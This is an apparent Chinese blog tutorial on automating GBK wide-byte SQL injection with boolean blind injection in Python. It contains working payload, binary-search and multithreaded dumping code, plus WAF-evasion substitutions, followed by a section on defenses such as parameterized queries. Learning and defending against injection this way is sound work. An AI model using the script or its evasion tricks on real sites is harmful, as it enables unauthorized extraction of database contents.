☰
Python实现宽字节注入与布尔盲注自动化脚本
2026/10/17 14:02:50 网站建设 项目流程

1. 从一条SQL注入链路说起:为什么宽字节和布尔盲注要放在一起讲

很多做Web安全入门的朋友,第一次接触SQL注入时都是从联合查询注入(Union-Based)开始的,因为回显直观、报错清晰,一个order by就能把字段数摸出来。但真实环境里,你遇到的情况往往是:页面不回显数据、不报错、甚至连布尔状态都不明显。这时候就得靠布尔盲注一点点把数据"问"出来。而宽字节注入则是另一类场景——目标站点用了GBK之类的多字节编码,开发者加了addslashes或者mysql_real_escape_string做转义,你以为单引号被干掉了,结果一个%df就把转义符"吃掉"了。

把这两个技术点放在一起讲,是因为它们经常在实战中组合出现:目标站是GBK编码,转义函数把单引号变成了\',你用宽字节把反斜杠吃掉,注入点重新打开;但页面又不回显,于是只能走布尔盲注的路子,一个字符一个字符地猜。这条链路走通一次,你对SQL注入的理解会上一个台阶。

这篇文章我会用Python把整条链路实现一遍,包括Payload构造、布尔条件判断、二分法加速、多线程优化这几个核心环节。所有代码都是本地搭建的模拟环境里跑通的,不涉及任何真实目标。适合已经懂一点SQL注入基础、想往自动化方向走的朋友,也适合想搞清楚"盲注脚本到底怎么写的"的开发者。看完你至少能自己写一个能跑的盲注工具,而不是只会用现成的。

提示:本文所有演示均在本地自建的模拟靶场环境中进行,目的是理解注入原理与防御思路。请勿将技术用于任何未授权的测试。

2. 宽字节注入的原理拆解:一个%df是怎么吃掉反斜杠的

2.1 转义函数到底做了什么

先搞清楚防御方的手段。PHP里最常见的转义是addslashes(),它会在单引号'、双引号"、反斜杠\、NULL字符前面加一个反斜杠。比如你提交id=1',经过转义后变成id=1\',拼进SQL里就是:

SELECT * FROM users WHERE id = '1\''

这样单引号就被"关"在字符串里了,注入失败。mysql_real_escape_string()也是类似逻辑,只不过它会考虑当前连接的字符集。

关键点在于:转义函数是按字节操作的,它并不知道多字节编码的边界在哪里。这就是宽字节注入的突破口。

2.2 GBK编码的"贪吃"特性

GBK是双字节编码,一个汉字占两个字节,第一个字节的范围是0x81-0xFE,第二个字节范围是0x40-0xFE(去掉0x7F)。当MySQL使用GBK字符集时,它会按双字节去解析字符串。

现在假设我们提交的payload是%df',经过addslashes转义后,'前面被加了\(0x5C),于是字节序列变成:

%df 0x5C 0x27

MySQL在GBK模式下读取时,看到0xdf在0x81-0xFE范围内,就认为它是一个双字节字符的首字节,于是把后面的0x5C当作第二个字节一起吃掉,组合成一个GBK汉字。剩下的0x27(单引号)就"裸露"出来了,成功闭合字符串。

这就是宽字节注入的核心:用一个非法或合法的多字节首字节,把转义符反斜杠"吞"进一个多字节字符里。

2.3 为什么是%df而不是别的

理论上0x81-0xFE范围内、且与0x5C组合后仍是合法GBK字符的字节都可以。%df之所以经典,是因为0xdf5c在GBK里对应一个真实存在的汉字,兼容性好,不容易因为编码校验被拦。实际测试中%81、%82等也可以,但有些会被WAF规则命中,%df相对"低调"。

这里有个容易踩的坑:宽字节注入的前提是数据库连接字符集为GBK或GB2312等双字节编码。如果目标是UTF-8,%df和0x5C不会组合成一个字符,注入就失败了。所以第一步永远是判断字符集,而不是上来就怼payload。

2.4 判断字符集的实操方法

我一般用两个手段交叉验证:

  • 看HTTP响应头:Content-Type: text/html; charset=gbk,这是最直接的信号,但页面编码不等于数据库连接编码,只能作为参考。
  • 用%df'测试:提交id=1%df',如果页面报SQL语法错误(比如You have an error in your SQL syntax),说明单引号成功逃逸,字符集大概率是GBK;如果页面正常或者报"非法字符",那可能是UTF-8。

还有一种更稳的方法:提交id=1%df' and 1=1-- -和id=1%df' and 1=2-- -,看两次响应是否有差异。有差异说明注入点成立,可以继续往下走。

3. 布尔盲注的判定逻辑:没有回显时怎么"问"出数据

3.1 布尔盲注的本质是"二十问"

布尔盲注说白了就是玩"二十问"游戏。页面不会告诉你数据是什么,但会对你的每个条件返回"真"或"假"两种状态。你通过构造and条件,把"数据是什么"这个问题拆解成一系列"是/否"问题,逐个字符、逐个比特地逼近答案。

比如要猜数据库名第一个字符,你可以问:

and ascii(substr(database(),1,1)) > 100

页面正常返回,说明第一个字符的ASCII码大于100;页面异常,说明小于等于100。这样一次就能砍掉一半的可能性,这就是二分法的威力。

3.2 判定"真"和"假"的三种信号

布尔盲注最难的不是构造payload,而是准确识别页面状态。常见的判定信号有三类:

信号类型表现可靠性适用场景
内容差异真时显示"用户存在",假时显示"用户不存在"高有明确文案反馈
长度差异真时页面长度5000,假时4800中内容动态但结构稳定
状态码差异真时200,假时500或302高有错误处理或跳转

我个人的经验是:优先用内容差异,其次用长度差异,状态码差异作为兜底。因为内容差异最稳定,长度差异容易受动态内容(比如时间戳、随机广告)干扰,状态码差异则可能被中间件统一处理掉。

3.3 二分法为什么比线性快这么多

假设要猜一个字符的ASCII码,范围是0-127。

  • 线性遍历:从0试到127,平均要试64次,最坏128次。
  • 二分法:每次砍一半,log2(128) = 7次就能确定。

一个数据库名假设8个字符,线性要512次请求,二分只要56次。如果再加上多线程,速度差距是数量级的。这就是为什么所有正经的盲注脚本都用二分法。

二分法的核心逻辑是维护一个low和high区间,每次取中点mid,问"字符ASCII是否大于mid",根据答案收缩区间,直到low == high。

3.4 盲注中必须处理的边界问题

实际写脚本时,有几个边界必须处理:

  • 字符集范围:ASCII可打印字符是32-126,但数据库名可能包含下划线、数字、字母,实际范围可以缩到[48, 122],进一步减少请求次数。
  • 字符串长度:得先猜长度,用length(database()) > n二分,或者直接遍历1-20。
  • 结束条件:当substr返回空字符串时说明字符串结束,但二分法不好判断空,通常先确定长度再逐字符猜。
  • 网络抖动:偶尔一次请求超时不能当作"假",要加重试机制,否则会猜错字符。

4. 用Python把整条链路串起来:从Payload构造到自动化脚本

4.1 整体架构设计

我写的这个脚本分四层:

  1. 请求层:负责发送HTTP请求,处理重试、超时、编码。
  2. 判定层:根据响应内容/长度判断布尔真假。
  3. 注入层:构造宽字节payload,封装二分法猜字符、猜长度。
  4. 调度层:多线程并发猜多个位置的字符。

这样分层的好处是:换目标只需要改请求层和判定层,注入逻辑不用动;想加时间盲注,只需要在判定层加一个基于延迟的判断。

4.2 请求层:用requests还是原生socket

大部分情况用requests就够了,它处理了连接池、编码、重定向。但有两个细节要注意:

  • 关闭自动编码:requests默认会根据响应头猜编码,可能把GBK页面猜成ISO-8859-1,导致中文乱码。我一般手动response.encoding = 'gbk'或者直接用response.content做字节比较。
  • 禁用重定向:有些站点假条件会302跳转,如果requests自动跟随,你就分不清真假了。设allow_redirects=False。
import requests def send_request(url, payload, timeout=10, retries=3): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml", } for i in range(retries): try: resp = requests.get(url + payload, headers=headers, timeout=timeout, allow_redirects=False) return resp except requests.RequestException: if i == retries - 1: raise return None

4.3 判定层:怎么定义"真"

判定层是整个脚本的"眼睛"。我一般先跑一次基准请求,记录正常页面的长度和关键字符串,然后定义:

def is_true(resp, baseline): if resp is None: return False # 优先看状态码 if resp.status_code != 200: return False # 再看关键字符串 if baseline["keyword"] in resp.text: return True # 最后看长度差异 if abs(len(resp.content) - baseline["length"]) < 50: return True return False

这里的baseline是提前用and 1=1和and 1=2两次请求标定出来的。标定这一步不能省,否则判定阈值全靠猜,脚本会一直猜错。

4.4 注入层:宽字节payload的拼接

宽字节payload的关键是把%df放在单引号前面,并且注意URL编码。假设原始注入点是id=1,那么:

id=1%df' and ascii(substr(database(),1,1))>64-- -

在Python里拼接时,%df要作为字面量保留,不能让它被requests二次编码。我一般用params字典传参,让requests自己处理编码,但%df这种需要手动处理:

def build_payload(base, condition): # base 形如 "?id=1" # 宽字节部分手动拼接 return base + "%df' and " + condition + "-- -"

注意-- -后面的空格不能省,MySQL的注释--要求后面跟空格或控制字符。

4.5 二分法猜字符的完整实现

def guess_char(url, base, position, baseline, low=32, high=126): while low < high: mid = (low + high) // 2 condition = f"ascii(substr(database(),{position},1))>{mid}" payload = build_payload(base, condition) resp = send_request(url, payload) if is_true(resp, baseline): low = mid + 1 else: high = mid return chr(low)

这段代码的逻辑是:如果ascii > mid为真,说明目标字符在(mid, high]区间,low = mid + 1;否则在[low, mid]区间,high = mid。循环结束时low == high,就是答案。

4.6 猜长度的实现

长度猜法和字符类似,只是把substr换成length:

def guess_length(url, base, baseline, max_len=30): low, high = 1, max_len while low < high: mid = (low + high) // 2 condition = f"length(database())>{mid}" payload = build_payload(base, condition) resp = send_request(url, payload) if is_true(resp, baseline): low = mid + 1 else: high = mid return low

4.7 多线程调度:把串行变并行

单线程猜一个8字符的库名,按每字符7次请求算,要56次请求,每次1秒就是将近1分钟。如果库名长一点、还要猜表名字段名,时间就爆炸了。多线程的思路是:先猜出长度,然后并发猜每个位置的字符,因为位置之间互不依赖。

from concurrent.futures import ThreadPoolExecutor def dump_string(url, base, baseline, length): result = [""] * length with ThreadPoolExecutor(max_workers=8) as executor: futures = { executor.submit(guess_char, url, base, i+1, baseline): i for i in range(length) } for future in futures: idx = futures[future] result[idx] = future.result() return "".join(result)

max_workers不要设太大,8-16比较合适。设太大容易把目标打挂,也容易触发频率限制,反而更慢。

5. 实战调试记录:那些文档里不会写的坑

5.1 坑一:%df被WAF拦了怎么办

有些WAF会直接拦截%df这个特征。这时候可以换其他首字节,比如%81、%82、%bf,只要和0x5C组合后是合法GBK字符即可。我实测下来%bf比较稳,因为0xbf5c对应的汉字不常见,规则库覆盖少。

还有一种情况是WAF拦substr、ascii这些函数名。可以用等价函数替换:

原函数替代方案
substrmid、substring
asciiord(配合hex)
database()schema_name(从information_schema查)
空格/**/、%09、%0a

5.2 坑二:二分法猜出来的字符是错的

这种情况90%是判定层不稳定。可能的原因:

  • 页面有动态内容(时间戳、随机token),导致长度判定失效。解决办法是改用关键字符串判定,或者多次请求取众数。
  • 网络抖动导致某次请求超时,被当成"假"。解决办法是加重试,超时后重发而不是直接返回False。
  • 目标有频率限制,连续请求被限流返回错误页。解决办法是加延时,或者降低并发。

我的经验是:每猜出一个字符,用线性验证一次。比如二分猜出是a,再发一次ascii(substr(...,1,1))=97确认,虽然多一次请求,但能避免整串数据错位。

5.3 坑三:多线程下结果错位

多线程猜字符时,如果result列表的索引和线程提交顺序没对应好,结果就会错位。上面代码里用futures字典把future映射到索引,就是为了解决这个问题。千万不要用executor.map直接返回,因为map保证顺序但会阻塞,失去并发的意义;也不要用列表append,因为线程完成顺序不确定。

5.4 坑四:-- -注释在某些环境失效

MySQL的--注释要求后面跟空格,但有些环境(比如某些ORM拼接)会把空格吃掉。这时候可以用#代替,但#在URL里要编码成%23。或者用/* */包裹,兼容性最好。

5.5 常见问题速查表

现象可能原因排查方向
所有条件都返回假判定层阈值不对重新标定baseline
所有条件都返回真注入点没闭合检查%df是否生效
猜出的字符乱码编码问题确认数据库字符集
脚本跑一半卡住目标限流加延时、降并发
长度猜不准动态内容干扰改用关键字符串判定

5.6 一个提速小技巧:预判字符集

数据库名、表名、字段名通常只包含a-z、0-9、_,ASCII范围是[48, 122]。把二分区间从[32, 126]缩到[48, 122],每次能少1-2次请求。别小看这点,猜100个字符就是100-200次请求的差距。

更进一步,如果知道目标命名规范(比如全小写字母加下划线),可以先把区间缩到[95, 122],速度还能再快。这个技巧在猜表名、字段名时特别有用。

6. 防御视角:怎么让宽字节和盲注都失效

写注入脚本的目的是理解原理,最终还是要落到防御上。从防御方角度看,宽字节注入和布尔盲注的根源都是用户输入被当成了SQL代码的一部分。

6.1 根治方案:参数化查询

参数化查询(Prepared Statement)是唯一能从根本上解决SQL注入的方法。它的原理是把SQL语句的结构和参数分开传输,数据库先编译好语句结构,参数后填充,参数永远被当作数据而不是代码。这样无论你提交%df'还是' or 1=1-- -,都只是普通字符串,不会改变SQL语义。

# 错误做法:字符串拼接 cursor.execute("SELECT * FROM users WHERE id = '%s'" % user_id) # 正确做法:参数化 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

6.2 字符集统一:别用GBK

如果业务允许,数据库连接字符集统一用utf8mb4。UTF-8是多字节编码,但它的首字节和后续字节有严格的位模式(首字节110xxxxx、1110xxxx等),0x5C不会和前面的字节组合成合法字符,宽字节注入自然失效。

如果历史原因必须用GBK,那就要确保连接字符集、数据库字符集、表字符集三者一致,并且用set names gbk显式设置,避免MySQL用默认字符集解析。

6.3 最小权限:让注入即使成功也拿不到东西

给Web应用的数据库账号只授予必要的权限:

  • 只给SELECT、INSERT、UPDATE、DELETE,不给DROP、FILE、EXECUTE。
  • 限制只能访问业务库,不能访问information_schema(虽然MySQL默认能访问,但可以通过视图隔离)。
  • 禁用LOAD_FILE、INTO OUTFILE等高危函数。

这样即使注入成功,攻击者能拿到的信息也有限。

6.4 盲注的额外防御:让真假难辨

布尔盲注依赖真假状态的差异。防御方可以:

  • 统一响应:无论查询成功失败,都返回相同的页面和状态码,只在前端用JS区分。
  • 加随机延时:每次请求随机延迟0-500ms,干扰基于时间的判断。
  • 限制请求频率:同一IP短时间内大量相似请求直接封禁。

这些手段不能根治,但能大幅提高盲注的成本,让攻击者知难而退。

7. 我个人的一些实操体会

这套脚本我在本地模拟环境里反复调了大概两周,最大的感受是:盲注脚本的难点从来不是payload构造,而是判定层的稳定性。payload网上到处都是,但每个目标的响应特征都不一样,判定层必须针对目标定制。我见过太多人拿着现成脚本直接怼,结果因为判定不准,猜出来的数据全是错的,还以为是payload有问题。

另一个体会是二分法的边界处理。low和high的初始值、循环条件low < high还是low <= high、mid的取整方式,这些细节稍微错一点,结果就偏了。我建议先用一个已知答案的本地环境验证脚本,比如猜一个固定的字符串,确认二分逻辑没问题,再上真实目标。

最后说个心态问题:盲注是个体力活,一个字符7次请求,猜一个库名可能就要几百次请求。别指望有什么"一键拖库"的神器,那些工具底层也是这么一次次问出来的。理解了这个过程,你再看那些自动化工具,就知道它们每一步在干什么,出了问题也知道从哪排查。这比会用工具本身重要得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询